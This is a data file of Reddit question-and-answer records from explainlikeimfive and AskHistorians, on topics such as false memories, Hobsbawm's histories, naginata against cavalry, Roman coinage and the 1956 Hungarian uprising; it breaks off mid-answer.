{"q_id": "fvhgc7", "title": "how can i have false memories about a movie???", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fvhgc7/eli5_how_can_i_have_false_memories_about_a_movie/", "answers": {"a_id": ["fmidpeh", "fmiet5v"], "score": [3, 6], "text": ["Well, first off, some movies actually do have multiple endings. The one that comes to mind right now is Clue but there are a few others.\n\nThat aside, some memories can be altered with as little as one revisit.", "Brains are very impressionable, and memories are fragile. We all have false memories that we\u2019re 100% sure are real. Most false memories _are_ about trivial things, but some can involve major life events or trauma.\n\nAlso, each time we remember something, we\u2019re actually remembering the last time we remembered it. So it\u2019s very easy for things to get skewed that way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3szjxc", "title": "how does crystal meth give people 'superhuman' strength?", "selftext": "There have been a lot of stories in the media here, [like this one](_URL_0_), where emergency services staff talk about people on ice binges being incredibly strong. What is the biological reason behind this? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3szjxc/eli5_how_does_crystal_meth_give_people_superhuman/", "answers": {"a_id": ["cx1smfd", "cx1y8bt", "cx28nwo"], "score": [47, 7, 2], "text": ["Your body usually doesn't use most of its strength in order to protect itself. Your muscles are actually strong enough to rip your tendons off your bones, but your body typically doesn't let you do that in order to protect itself. Meth can remove a person's inhibitions to the point where they appear much stronger than when they're sober. They may be damaging their bodies by exerting that much force, but they're way too far gone to feel it.", "Amphetamines don't.  I saw an experiment somewhere years ago where scientists had people try to lift heavy objects (IIRC washers or dryers while using a dolly) up sets of stairs, sober, with cocaine, and while on amphetamines. \n\nThe amphetamine users FELT like they could lift more but couldn't. \nThe cocaine users had an increase in physical strength.  Something about how blood is diverted to muscles with cocaine... I forget the specifics", "It is similar to an adrenaline rush from something like combat. Most people who get shot might not feel it right away let alone stop fighting. This form of shock like with drugs reduces pain and increases energy. It however also stops the pain from overexerting yourself such as being soar after going to the gym. They don't feel this pan so they can actually use their muscles to the literal max. Hope this helps.\n"]}, "title_urls": [], "selftext_urls": ["http://www.smh.com.au/nsw/australia-where-crystal-meth-costs-less-than-beer-20151115-gkzt3y.html"], "answers_urls": [[], [], []]}
{"q_id": "8t7h1i", "title": "what does the director of a stand-up comedy show do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8t7h1i/eli5_what_does_the_director_of_a_standup_comedy/", "answers": {"a_id": ["e15ceas"], "score": [2], "text": ["Tells the camera operators where to go, and selects the shots to use each moment. Makes decisions about how to take advantage of the lighting and the stage. Advises the performer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "efznsq", "title": "Is Eric Hobsbawn's Long 19th Century trilogy still worth reading?", "selftext": "I am wondering if Hobsbawn is still considered a worthwhile read. I am interested in period between the French Revolution and the First World War, so Hobsbawn looks like a good place to start. However, the books that I am the most interested in were published in the 60s and I am wondering if they are seen as being too outdated by contemporary historians. If I want to read about this period of European history, should I read Hobsbawn or is he too out of date?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/efznsq/is_eric_hobsbawns_long_19th_century_trilogy_still/", "answers": {"a_id": ["fc55lay"], "score": [11], "text": ["Hobsbawm's books on the long nineteenth century remain foundational to quite a lot of broad interpretations of this period, and many of his ideas do hold up, though it would certainly be wrong to suggest that they have not been challenged since they were published, both in terms of the core theory they set out and the details they contain. They have also never really been replaced, not least because the way in which history is \"done\" and studied at university level has changed so much since Hobsbawm wrote. That any major academic would have the time, as well as the skill-set and the inclination, to write such broad-based works in a period in which careers are built and maintained on regular publication is in many ways lamentable, but seems increasingly old-fashioned. For this reason, the four titles Hobsbawm published on the period 1789-1991 are still very commonly set to students, and indeed I use this fact as a discussion point for my own students, noting that, for instance, the Oxford reading list for the period is otherwise almost entirely made up of books published since 1990.\n\nA couple of years ago I was publisher of a short book by Tom Stammers of Durham University that re-examined Hobsbawm. Tom summarises the current status of Hobsbawm's magnum opus, *Age of Revolution*, like this:\n\n > Eric Hobsbawm\u2019s *The Age of Revolution: Europe 1789\u20131848* provided such a broad and persuasive outline that some other scholars simply adopted it and filled in missing parts of the picture. Despite the fact that Hobsbawm neglected women\u2019s history, feminist historians have found his work useful. They took his claims about the growth of industrial capitalism to help explain the economic reasons behind the limiting of women\u2019s freedoms in the early Victorian period from 1837. Men went to work, while women stayed at home. Similarly, the recent collection of essays edited by history professors Dror Wahrman and Colin Jones supports the idea that the late eighteenth century was indeed an \u201cage of cultural revolutions,\u201d and that developments in Britain and France need to be studied together. Hobsbawm remains an important source for all scholars who believe that the late eighteenth century was a key moment in the transition to  the modern era. However, many now question his belief that these changes are fully explained by the growth of the bourgeoisie.  \n >   \n > Critics of Hobsbawm\u2019s Marxist view also question whether the conflicts of the period could have been avoided, and were as \u201crevolutionary\u201d as he claims. For revisionist historians like William Doyle, the overthrow of the French monarchy in 1789 was not due to long-term social conflicts, but short-term political mistakes. According to British historians like David Cannadine, the old landowning aristocratic families adapted to survive and kept much of their influence despite the growing importance of industry. Historians like Linda Colley, meanwhile, have talked about the common loyalties that tied many British people together. Despite belonging to different social classes, they all felt tied to the Protestant religion, to the nation-state, and to the expanding empire. This basic loyalty can be seen in the Chartist movement too. Its working-class supporters in the 1830s and 1840s demanded democratic change, but most had little interest in revolutionary socialism. Many scholars now question Hobsbawm\u2019s view that this was a period when instability and conflict between social classes was unavoidable.  \n >   \n > Hobsbawm\u2019s \u201cdual revolution\u201d theory \\[which suggests that the French and the Industrial revolutions were the twin engines of change across the nineteenth century\\] has admirers today, not just because he presented the idea so elegantly, but also because it pushed scholars to think about connections across borders. Modern historian Jan Ru\u0308ger wrote: \u201cEric Hobsbawm\u2019s nineteenth century remains therefore not only exemplary in the broad sweep, the elegance and   style, the sheer amount of knowledge it displays; it also continues to offer a rich encouragement to think Britain and Europe in one context.\u201d Today many scholars accept the importance of producing histories of the revolutionary era in Britain and France that, if not comparative, at least explore connections between, the two countries.  \n >   \n > For example, intellectual historians look at how thinkers from different backgrounds exchanged ideas on economics or republicanism. Social historians look at how artisans became involved in political fights. Political historians look at military mobilization in an age of war. And cultural historians look at wider communications between England and France.  \n >   \n > Most scholars today, however, do not share Hobsbawm\u2019s Marxist belief in the rise to power of the bourgeoisie. History professor Sarah Maza has further adapted the argument of Gareth Stedman Jones to go so far as to claim that the bourgeoisie never really existed as a group. She believes the term was used as a negative label to describe certain types of self-advancing behavior. This shift in the 1980s away from looking at class relations to looking at culture as a way to understand history worried Hobsbawm. He was convinced that Karl Marx had truly asked the most fundamental questions about social change and still agreed with his belief that conflicts between social classes moved history forwards.\n\n**Source**\n\nTom Stammers with Patrick Glen, *An Analysis of Eric Hobsbawm's The Age of Revolution: Europe 1789-1848* (2017)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l56sy", "title": "why are countries more willing to get involved in conflicts of other countries when chemical weapons are involved?", "selftext": "I don't understand why countries say they feel morally obligated to punish a country for use of chemical weapons, but will not not feel as obligated when non-chemical weapons are used. Before countries discovered Syria's use of using chemical weapons Syria was shooting and shelling civilians causing much death and injury. If feels like this is just as bad. Why does it sometimes take chemical weapons for a country to take action?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l56sy/eli5_why_are_countries_more_willing_to_get/", "answers": {"a_id": ["cbvuy83", "cbvwm93", "cbw3aln", "cbw3t78", "cbw4so5", "cbw8jq0"], "score": [12, 7, 3, 2, 2, 2], "text": ["The indiscriminate nature of chemical weapons are seen as especially heinous in many parts of the world. With conventional munitions it is at least feasible to prevent civilian casualties. Once the use of chemical weapons is known it is fairly easy to outfit troops with proper protection. The only use for these weapons after the initial attack is for terror and the destruction of unprotected civilian populations. \n\n", "At a basic moral level it comes down to the fact that there are certain acts - such as the use of chemical weapons - that are agreed upon as crimes against humanity. As members of the civilized world it is our responsibility to make sure these crimes are never committed and punish those who commit them. It's the same principle that says a general who fights a conventional war is not guilty of any crime despite it resulting in a high death count, whereas a general who has lead a genocide - resulting the same number of, or fewer deaths - is guilty of an atrocity and we are obligated to punish him for it.     ", "* **Conventional weapons** are used to destroy specific targets. as quickly as possible.\n\n\n* **Chemical weapons** may be targeting specific targets but they kill indiscriminately  even in places were civilians would normally be safe. They also cause painful slow deaths and a relatively small number of Chemical weapons can kill huge numbers of civilians.", "Because war is not total, it is accepted that in war we obey certain loose rules about what we can do. These rules try to balance the needs of combat (can't ban guns) and minimising unnecessary damage (so carpet bombing cities is out). Depending on the context we apply more or less strict versions of this, so in WW2 it was fine to carpet bomb industrial areas, it was a world war and bombing was inaccurate, but say during operation iraqi freedom we have a very different context. We have accurate bombs and its not a world war, so the coalition didn't bomb factories and using guided bombs. So what we have is a situation where how much restraint you show differs.\n\n\nThe thing with chemical weapons is that they do so much unneeded damage it is almost never acceptable to use them. They hang around environments (like mines), they tend to hit large areas (unlike say, a bomb). Also they tend to do things like cause long term damage to people whilst bullets or shrapnel are less likely to result in long term suffering.\n\n\nYou might be asking, well doesn't artillary also kill a lot of civillians too? Well it also comes down to how the military need for operations justifies the harms. Its kinda like a \"military damage:civillian damage\" ratio. So a laser guided bomb in a rural area is totally fine, it has minimal risk to civillians and does a lot of damage to the enemy tank. But a gas attack, in a city, well sure it might have killed some rebels, but hundreds of civllians died as well.", "Because it's a violation of the Geneva Protocol after WWI and all the crazy mustard gas warfare that happened.\n\nBasically the world agreed almost 100 years ago that Bio-Weapons are \"not cool to use\", so this is a pretty big deal when somebody breaks that agreement.", "The cynicism doesn't really add up though. If Britain and America wanted the rebels to form a pro-western state in the middle east they wouldn't have spent the last two years refusing to send them any money or weapons. From the outbreak of the conflict the west has done everything it can to not get involved. Now that as humanist nations they've reached a point where they feel a moral duty to enforce the international laws and protocols, that defend the rights of each and every human being, they're being denounced as war mongers who have engineered a conflict they never wanted in the first place. In fact having a stable largely secular dictatorship, which occasionally makes disjointed comments about western imperialism (but ultimately plays ball with both the US and the EU), and maintains a healthy relationship with Iran, is a perfect middle eastern scenario for the west. The fact they supported Gaddafi and Murbarak, shows just how inconvenient attacking Assad is for them. They are siding themselves with an incredibly disjointed, potentially Islamist, resistance movement not because it's the perfect power play, that's completely nonsensical. They're risking the regions stability and the power they gain from it, because they can see a genocide that's about to begin and have a moral, humanist, obligation to prevent atrocities, like genocides, from becoming a reality."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2mftsl", "title": "what would happen if uefa left fifa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mftsl/eli5_what_would_happen_if_uefa_left_fifa/", "answers": {"a_id": ["cm3teau", "cm3ua6m", "cm42bbo"], "score": [6, 2, 3], "text": ["Well first of all, it would mean no more European teams in the world cup, European clubs would no longer compete in the club world cup, this resulting in a huge loss in profits for FIFA as European football is huge all around the world. Also, it means that the referees in premier league, la liga, bundesliga etc would either stop refereeing with FIFA and therefore in European games or switch to UEFA and continue refereeing with a different set of kit with UEFA logos. Also new football's would be made for each of the league's given FIFA would no longer run it. \n\nMore tragically EA would have to go and beg UEFA for player,team,stadium etc name rights otherwise PES might actually take the lead. Because basically no-one plays non European teams in FIFA. \n\nSo yea. Bad shit. \n\nBut also I would argue that FIFA and EA are a bunch of money grabbing arrogant pricks so they deserve the losses. ", "UEFA consists of 54 national teams.[^\\[1\\]](_URL_0_ \"'UEFA Members\") That's a quarter of the countries that form FIFA. It also consists of some of the best national teams in the world. Out of the past 5 FIFA World Cups, UEFA members have won 4. In fact, out of the remaining 155 non-UEFA teams, only 3 have ever won the Fifa World Cup: Argentine, Brazil, and Uruguay.[^\\[2\\]](_URL_1_ \"'FIFA World Cup Results History\") Without UEFA's members, FIFA would collapse. It would simply become irrelevant.  \n  \n\n", "A new beginning. A better football world.\r\rFIFA can't live without UEFA, but UEFA can live without FIFA. The leagues with all the money and prestige are in UEFA. No one outside of the USA, Australia, Japan, or Korea cares the MLS, A, J, and K leagues respectively (I picked those as examples of wealthy nations with successful leagues but...) You see Prem and (I'd say La Liga but really just) Barca/Real jerseys in backwoods third world countries. \r\rWithout UEFA, FIFA is Brazil, Argentina, a half dozen or so decent squads, and 150ish trash national teams, and none of the top 5 leagues in the world. FIFA is literally only important because of one event; the World Cup. It's just that qualifying takes place over the years in between, so FIFA stays relevant.\r\rMeanwhile all 20 of Forbes most valuable clubs play in UEFA. The best players from every country in the world go to UEFA countries because that's where the money is. The leagues are where players spend 95% of their playing time, and where the day to day operation of high level competitive football takes place. On top of that, clubs have zero obligation to let players go play for their national teams. It's a wink wink nod nod agreement. Do you think Barca is releasing Messi to Argentina if they're in dispute with FIFA? They might, they might not. Once there is a break, what's FIFA going to do? Nothing, is the answer.\r\rTake away the world cup and club football remains unchanged. Take away club football and the world cup is a crap event due to players' lack of fitness and form. Every team becomes the US national team in the 50s where the players got together a couple weeks before their tournaments.\r\rPoint of my rant is that FIFA has gotten so bloated and corrupt that the time has come. It must fail to be reborn as a new governing body. I'm actively rooting for this fissure to happen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.uefa.com/memberassociations/", "http://www.fifa.com/tournaments/archive/worldcup/"], []]}
{"q_id": "2k0bzb", "title": "I am a Turkish merchant from Istanbul/Konstantiniyye in the 16th century. What languages do I speak?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2k0bzb/i_am_a_turkish_merchant_from/", "answers": {"a_id": ["clhbe0a"], "score": [16], "text": ["I would suspect a mix of Italian, Turkish, and Greek. Even though large Ladino speaking Jewish populations as well as Armenians existed, I don't think they were as prominent in the trading life of the empire. In the old city (the peninsula), some combination of Greek and Turkish would probably have probably have been the common language, and a dash of some of the less prominent languages was likely necessary.\n\nAcross the Golden Horn in Galata there was an Italian trading colony. I would suspect if you were dealing with any trade leaving the empire you have to know some Italian to interact with them. Of course, this was the era of the actual Lingua Franca, which varied from region to region but was a mix of Latin languages, Turkish, Greek, and Arabic. Internal trade would have likely been conducted in a mixture of Greek and Turkish. \n\nLots of sailors were Greek speaking but administrators and custom agents would likely speak Turkish. I had a friend show me an archival document once from the early modern period, and the merchant was a Greek speaker who had to write a petition to the Turkish speaking administrator who allowed access to the Black Sea from the Bosphorus. The Greek speaker went by \"One Eyed Giorgio,\" but the phrase he used for One Eyed was Turkish. The fact that Greek, Turkish, Arabic, and Armenian borrowed so heavily form each other should give you an idea of the commonly mixed usage of these languages in trade. Anyone would have to be at a minimum bilingual.\n\nAlso, somehow the first \"n\" in Constantinople got lost in translation- the Turco-Arabic name for the city was Kostantiniyye! \u0642\u0633\u0637\u0646\u0637\u064a\u0646\u064a\u0647, if you can read it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5vug8q", "title": "why is alabama's state constitution (367k words) so much longer than even the second lognest (texas at 87k words)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vug8q/eli5_why_is_alabamas_state_constitution_367k/", "answers": {"a_id": ["de55shb"], "score": [12], "text": ["All laws passed in any Alabamian city/county must also pass through the state's houses of congress.  These laws are put into place by amending the state constitution for every single law.  This ranges from taxation to the placement of a stoplight by the local courthouse.\n\nIt's a process called \"[home rule](_URL_0_),\" and raises a number of objections to the balances of state/local power.  \n\nI'm not sure about Texas specifically, but I do know that this is the major contributor to why Alabama has the longest constitution in the world.\n\nSouce: Alabamian living under this stupid rule"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.al.com/opinion/index.ssf/2016/03/without_home_rule_the_state_al.html"]]}
{"q_id": "75v1ju", "title": "why does scratching the fork and the knife while cuting food or scratching the fork onto the plate make the human body cringe really hard and feel uncomfortable even minutes after it has happened?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/75v1ju/eli5_why_does_scratching_the_fork_and_the_knife/", "answers": {"a_id": ["do9b6gm", "do9b9on"], "score": [5, 7], "text": ["This doesn't happen to everyone.  However, I can give myself near instant and very strong goosebumps just by thinking about styrofoam and broccoli squeaking together.  Or a LOT of other squeaking noises.\n\nNails on a chalkboard don't bother me, teeth and steel don't bother me.\n\nA better, and perhaps more accurate question, would be \"why do we have such strong responses to essentially nonsense?\".", "Seems like I saw a suggested idea that the sound is similar to a screeching noise made by predators prehistoric humans may have been hunted by. It was mixed in with that feeling of falling when you are in bed, being another left over from when our ancestors lived in trees."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ak5bv", "title": "How effective were glaives and glaive-like weapons (like the Japanese naginata) at combating cavalry?", "selftext": "Glaives have always interested me quite a lot, because of all the various polearms of medieval and rennaissance warfare, they seem (to a layman observer such as myself) overall less focused on doing what polearms are generally good at, which is stopping cavalry. They seem more apt for cutting than stabbing.\n\nAnd yet, Wikipedia seems to claim that the naginata, a japanese bladed polearm very similar to a glaive, specifically came into extensive usage because cavalry became more important; the site even puts forth an analogy to the European pike.\n\nWhich makes me wonder if my initial assumptions about glaive-like weapons' efficacy against mounted opponents hold water, and thus I turn to you folks here at AskHistorians:\n\nJust how effective were glaives against cavalry? Were they even intended to be used as an anti-cavalry weapon in the first place?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ak5bv/how_effective_were_glaives_and_glaivelike_weapons/", "answers": {"a_id": ["d9hgjsu", "d9hi3n4", "d9hl2rm"], "score": [8, 4, 154], "text": ["As a follow up how did the Naginata compare in general combat vs the Yari, including vs cav.", "As a follow-up, Has the standard \"DnD\" nomenclature and categorization for this family of weapons influenced academia at all? I know there has to be a bunch of nerds like me who know enough to think themselves expert but not enough to realize they are far from that. \n\nGlaive, Guisarme, Ranseur, Halbred, Glaive-Guisarme. These are the main types that are deemed different enough to have different rules applied to them. All of these are polearms that are more complicated than spears. ", "Like European warfare, Japanese warfare has had many periods of change, due to changing military doctrine, technology, cultural influences, etc. Regarding the naginata specifically, it rose to prominence during the Genpei war of the late 12th century, seen as a good way to knock other riders of horses. The Genpei war is famously remembered as the period between the transition from the Heian period to the Kamakura shogunate, however of equal importance is that during this period of time it brought significant reworks to existing military ideology. I'd quickly plug in my older response on the relationship between shogun and emperor and so on [here](_URL_3_), because I think it's important to understand this to fully comprehend the significance of the Minamoto-Taira conflict during the Genpei. Arguably the most influential factor of change was that army sizes were becoming larger and larger - I'll link my other comment which tangentially talks about this [here](_URL_2_), and the relevant portion:\n\n > The end of the Heian period (~11th to the late 12th century, 1185), or the start of the Kamakura period, was when the concept of \"samurai\" came about, which also was a marker in that most of warfare conducted was on horseback. Small, elite units engaged in battles, unlike the huge numbers seen later on during the Sengoku period. Throughout these few centuries (the 11th to the 16th centuries), there was a gradual power shift in that local lords, or daimyo, had more of a say in their own personal armies. The shift into civil war and chaos that was the Sengoku period facilitated the change many daimyo implemented in their armies, in that peasant conscripts became more and more of a staple - huge numbers of peasants were conscripted into the ranks of the army, and most of these conscripts used the yari. No need for shields there. Samurai themselves, for the exact same reasons, had no need to use shields.\n\n\nAlso I remembered I do go more into detail of the evolution of Japanese military ideology [here](_URL_1_) - I covered more than just this period. **It's not necessary to read this, but I personally believe that a basic understanding of the shifting contextual elements is crucial to recognising why and how the naginata, and other weapons, were effective at their purpose.**\n\nEssentially, **a mini TLDR of the above - before the Genpei, armies were  < 1,000. After, became bigger, fielding 10,000 or more at a time. A focus on cavalry also returned, and so you'd need weapons to deal with that on a larger scale.**\n\nSo, it is during this period that the naginata emerged as a way to easily dismount cavalry, and to even the playing field. Thus, to answer your question\n\n >  Just how effective were glaives against cavalry? Were they even intended to be used as an anti-cavalry weapon in the first place?\n\n**Yes, glaives (or more specifically, naginata) were effective, and were intended to be used as an anti-cavalry weapon.** Prior to the Genpei, the general idea was that if you wanted to dismount a rider, simply shoot enough arrows at him or his horse. Now it was more similar to getting several footsoldiers equipped with swords on sticks to get the rider off, which is considerably easier (both in terms of training and general usage).\n\n**However,** during the later Nanboku-cho period, these large armies started to become **organised** - during this period, the spear, or yari, became popular due to its ability to be effectively used (as you'd imagine a spear would be). From this point onwards use of the naginata declined, because the yari was more effective than the polearm at fulfilling not only the role of an anti-cavalry weapon but also as a general tool for combat in the large masses that we see composing armies throughout the Sengoku period. Have a look as well at this [cool image](_URL_0_) which shows the general evolution in shape of the naginata blade throughout.\n\nA larger reason why the yari replaced the naginata is because of the style and design of the polearm. The naginata is versatile for sure, as you can both cut and thrust, however it requires much more space to use effectively. Borrowing from Friday's \"Samurai, Warfare, and the State in Early Medieval Japan\":\n\n >  For examples of warriors twirling naginata, see\nHeike monogatari (Engy\u014dbon) 4. 18, p. 376, which depicts a warrior dubbed \u201cYagiri\nTajima My\u014dzen\u201d (\u201cArrow-cutting My\u014dzen of Tajima\u201d) \u201cspinning his naginata like a\nwater wheel, striking arrows and scattering them to the four directions\u201d; or Taiheiki\n(Keich\u014dbon) 2.8 (\u201cMorokata t\u014dsan no koto, tsuketari Karasaki-hama no kassen\u201d),\nwhich tells of a monk named Kaijitsu \u201cwhirling his short naginata like a water wheel\u201d\nas he attacks an enemy swordsman. An illustration of a warrior twirling a naginata\nappears in Ishiyama-dera engi, p. 16.\n\nThis is why I linked the previous comments on the evolution of warfare - during the Genpei and successive conflicts, **warfare in Japan shifted from a very personal combat to a more 'en masse' style warfare.** Because of this, the naginata was unable to be used as effectively as a yari for the purposes of larger armies, and so was ditched in favour of the latter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.japaneseswordindex.com/nagi3.gif", "https://www.reddit.com/r/AskHistorians/comments/3qtfzh/did_the_introduction_of_the_matchlock_tepp%C3%B4/cwict7d/?st=iv042iyk&amp;sh=544e7ee8", "https://www.reddit.com/r/AskHistorians/comments/3jqhzx/why_arent_shields_prevalent_in_feudal_japanese/curjcab/?st=iv040yiu&amp;sh=5a54a276", "https://www.reddit.com/r/AskHistorians/comments/3unsqh/why_did_no_japanese_shoguns_or_other_de_facto/cxgiow6/?st=iv03xynp&amp;sh=ff17fbfb"]]}
{"q_id": "1bt1ck", "title": "Why haven't we seen major slave revolts across human history?", "selftext": "In societies where the slaves greatly outnumber the slaveholders, why didn't they fight back? Was it for psychological reasons or would it not have been a survivable option?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bt1ck/why_havent_we_seen_major_slave_revolts_across/", "answers": {"a_id": ["c99s3sc", "c99sei9", "c99tucs", "c99u8qp", "c99vj8l", "c9a9wiw"], "score": [9, 3, 4, 4, 3, 2], "text": ["Ae you kidding me? There were a lot of major slave revolts in history. Spartacus is famous, and a more recent example is Haiti. Today's Haiti is the result of the slave revolt.\n\n_URL_0_", "Haiti, Spartacus, ~~the Maroons~~... We have seen major slave revolts.", "Answering the 'why didn't they fight back' question: slave revolts were not always so easy. often time it meant going against an enemy with superior arms. additionally, slave revolts meant putting not just your life but the lives your family, children, and friends in jeopardy if the revolt was not successful. That would certainly create a powerful psychological incentive not to revolt. ", "While I don't want to call this a bad question, I've been thinking about how I would answer it for a while now, and have really been struggling to do so. I think I know what my problem is though.\n\nI think my problem stems from comparing Slavery across different cultures. The problem is that Slavery differed from place to place. It's easy to look at American Slavery, and question why their weren't more rebellions, though this is most likely because one doesn't realize how many rebellions there were, but to do the same with Slavery in Africa would be inappropriate. Slaves in Africa, held by Africans, not Europeans, could sometimes attain high societal standing, and even end up owning their own Slaves. In some cases, Kings would make Slaves their closest advisers, principally because the Slaves could not inherit the Kings title, given him no incentive to try to sabotage the King.\n\nI think it's important to note in any discussion about Slavery throughout history that what it meant to be a Slave, and what a person was being subjected to by holding that status, differed from civilization to civilization.", "It should also be noted that the Spartans built their entire society on controlling slaves, or to them, the Helots.", "just saw this study of ants that have been taken as pupae to serve as slaves to other ant species  _URL_0_ and wonder if there is a universal concept of slavery that goes beyond the definitional  problems outlined in the first post.\n\nYes there are different kinds of slavery with circumstances varied enough to make 'slave revolt' difficult to identify and record in historical records, but what if slavery was defined in the context of animal behavior?  This article states about 50% of insect relations are parasitic in nature, I wonder what that ratio would be in the plant kingdoms or in mammals?   Can we carry that definition to human social constructs, like 'wage slavery', 'debt slavery'?\n\n\nIn this article, the slave populations begin to neglect and kill their  master pupae at a certain stage of development, leading to 45% mortality rates in their care. Is this a slave revolt? Could similar acts of resistance among our own slave populations be similarly categorized? The problem is of course historical records, how would we find such data? what would the threshold of a successful slave empire look like? a slave system undermined by inefficiency and open rebellion? Thoughts?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Slave_rebellion"], [], [], [], [], ["http://www.sciencedaily.com/releases/2012/09/120926092910.htm"]]}
{"q_id": "2xv35a", "title": "What was the average lifespan of Roman coins? And how long after being minted would Roman coins cease to have monetary value?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xv35a/what_was_the_average_lifespan_of_roman_coins_and/", "answers": {"a_id": ["cp3rt5p"], "score": [4], "text": ["As I talked about in a [previous post]( _URL_1_), there were many other ways to do business in Ancient Rome without dealing in physical coin. All markets had a banker sitting at a table or bench in the middle of it. Goods bought at the market could be deducted from your bank account and deposited into the account of the vendor. Or the vendor could put things on your tab, to be settled later, if you both trusted each other. Large transactions too, like property sales, were often mediated through accounts, without any physical coin exchange. So coins were not needed in a significant portion of daily life.\n\nWhen Romans did use coins, the Denarius (silver) was used most often. It varied in purity over time, but even pure silver is relatively strong. It\u2019s not like today\u2019s paper money that gets folded, wet, ripped, etc and needs to be reprinted. So while I don\u2019t know what the average lifespan of a Roman coin, unless people were putting coins in sacks to use as weapons, the coins should have lasted practically forever. Contemporary findings of Ancient Roman coins show the majority of them to be more or less perfect.\n\nI don\u2019t remember reading anything about what happened to money when a new ruler took power and put his face on new coins. But the same system of bronze / silver / gold coins was constant, so changing money was as simple as melting down the old coin and minting new coin with the same metal. Coins were divided into increasingly smaller denominations over time, but that wouldn't matter for your old coin. Not all bankers were sanctioned assayers or minters, but it wouldn\u2019t be hard to find one in any decently sized city. Bankers existed at many different levels and of different positions on the social ladder. There are gravestones that tell us that there were even slaves of the Imperial family who were deposit bankers and minters.\n\nDuring the Roman Empire, the silver content of the Denarius went through steady decline. It was about 97% pure during the time of Augustus (27 BC - 14 AD), and down to 20-25% under Gallienus (253 - 268). You can see a chart showing the decline of the silver content of the denarius over time here (also shows rough values of inflation): _URL_2_\n\nSo any coin you had with the previous emperor\u2019s face on it would still be worth at least its full value if it was still in your pocket (ignoring inflation). But obviously when the silver content became increasingly low, newly minted coin was increasingly worthless from the start.\n\n---\n\n_URL_0_\n\nBanking and Business in the Roman World, Jean Andreau, 1999\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA%2a/Argentarii.html", "https://www.reddit.com/r/AskHistorians/comments/2l9fhu/in_ancient_rome_where_did_the_wealthy_keep/", "http://wiki.mises.org/wiki/Money_and_banking_in_Ancient_Rome#Inflation_in_numbers"]]}
{"q_id": "1rlrq2", "title": "In 1956, Hungary declared independence, only to be brutally resubjugated by the soviets days later. What was the international response to this like? Did it seriously alter anyone's views of the soviets?", "selftext": "I just learned about this uprising today- apparently, over the course of a few days, the entire country of hungary erupted in an unplanned, unprecendented mass revolt against soviet occupation.  ([For the unawares](_URL_0_))\n\nThe soviet response was to come in with tanks, after promising that they'd do nothing, and to basically crush the rebellion militarily.  How did the western powers react to this?  Did it change the way we thought of the soviets, or mark a turning point in soviet sympathies?  In any western countries, did pro-hungarian independence movements spring up?  Were there any attempts to liberate other Warsaw Pact countries in the aftermath of the hungarian revolt?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rlrq2/in_1956_hungary_declared_independence_only_to_be/", "answers": {"a_id": ["cdojipu", "cdolqcu", "cdomzfo"], "score": [3, 2, 4], "text": ["The western powers did not respond militarily. Essentially the official position in most countries was that the Soviets were free to do as they pleased in their sphere of influence. But of course these events bolstered the idea that the West had the unique position of defending freedom. But rather than take this as a starting point for intervention, most politicians took it to showcase the difference between the two systems.\n\nFor the public opinion in the West the crushing of the Hungarian uprising was devastating to the Soviet communist cause. Leftist parties generally denounced the move. Together with Khrushchev's revelations about the evils of Stalin, this caused most leftist parties in the West to break completely with the communist parties of the Warsaw pact.\n\nAs to pro-hungarian independence movements, this was a time in which people were more organized in political parties and churches, not in movements. A lot of organizations did get involved with helping Hungarian refugees though. The Hungarian refugees of 1956 are still a known group, and few groups of foreigners are treated with as much respect as they are.\n\n", "The  Soviet  Union  already  had  a  bad  reputation  for  brutally  enforcing  one  party  rule  in  their  satilites.  During  the  height  of  the  refugee  crisis,  Richard  Nixon  went  to  the  Austrian  Hungarian  border  to  get  a  first  hand  look  at  the  situation.  Hugh  Hewitt,  the  first  director  of  the  Richard  Nixon  presidential  library,  wanted  a  heroic  painting  of  Richard  Nixon  for  the  lobby.  He  commissioned  this  painting.  _URL_0_      \n      Nixon  would  later  use  this  incident  as  an  example  of  him  standing  up  to  the  Communists,  but  at  the  time  his  actual  contribution  to  the  crisis  was  marginal.  He  persuaded  Eisenhower  to  lift  the  quota  of  Hungarian  immigrants  allowed  in  the  US  to  21,500  a  year.  Austria  bore  the  brunt  of  caring  for  the  massive  influx  of  120,000  Hungarian  refugees.   Fairly  quickly,  they  got  assistance  from  the  United  Nations  and  other  NGOs.  It  set  precedents  on  how  to  deal  with  future  unexpected  refugee  crisises.       \nSource  _URL_1_", " > the entire country of hungary erupted 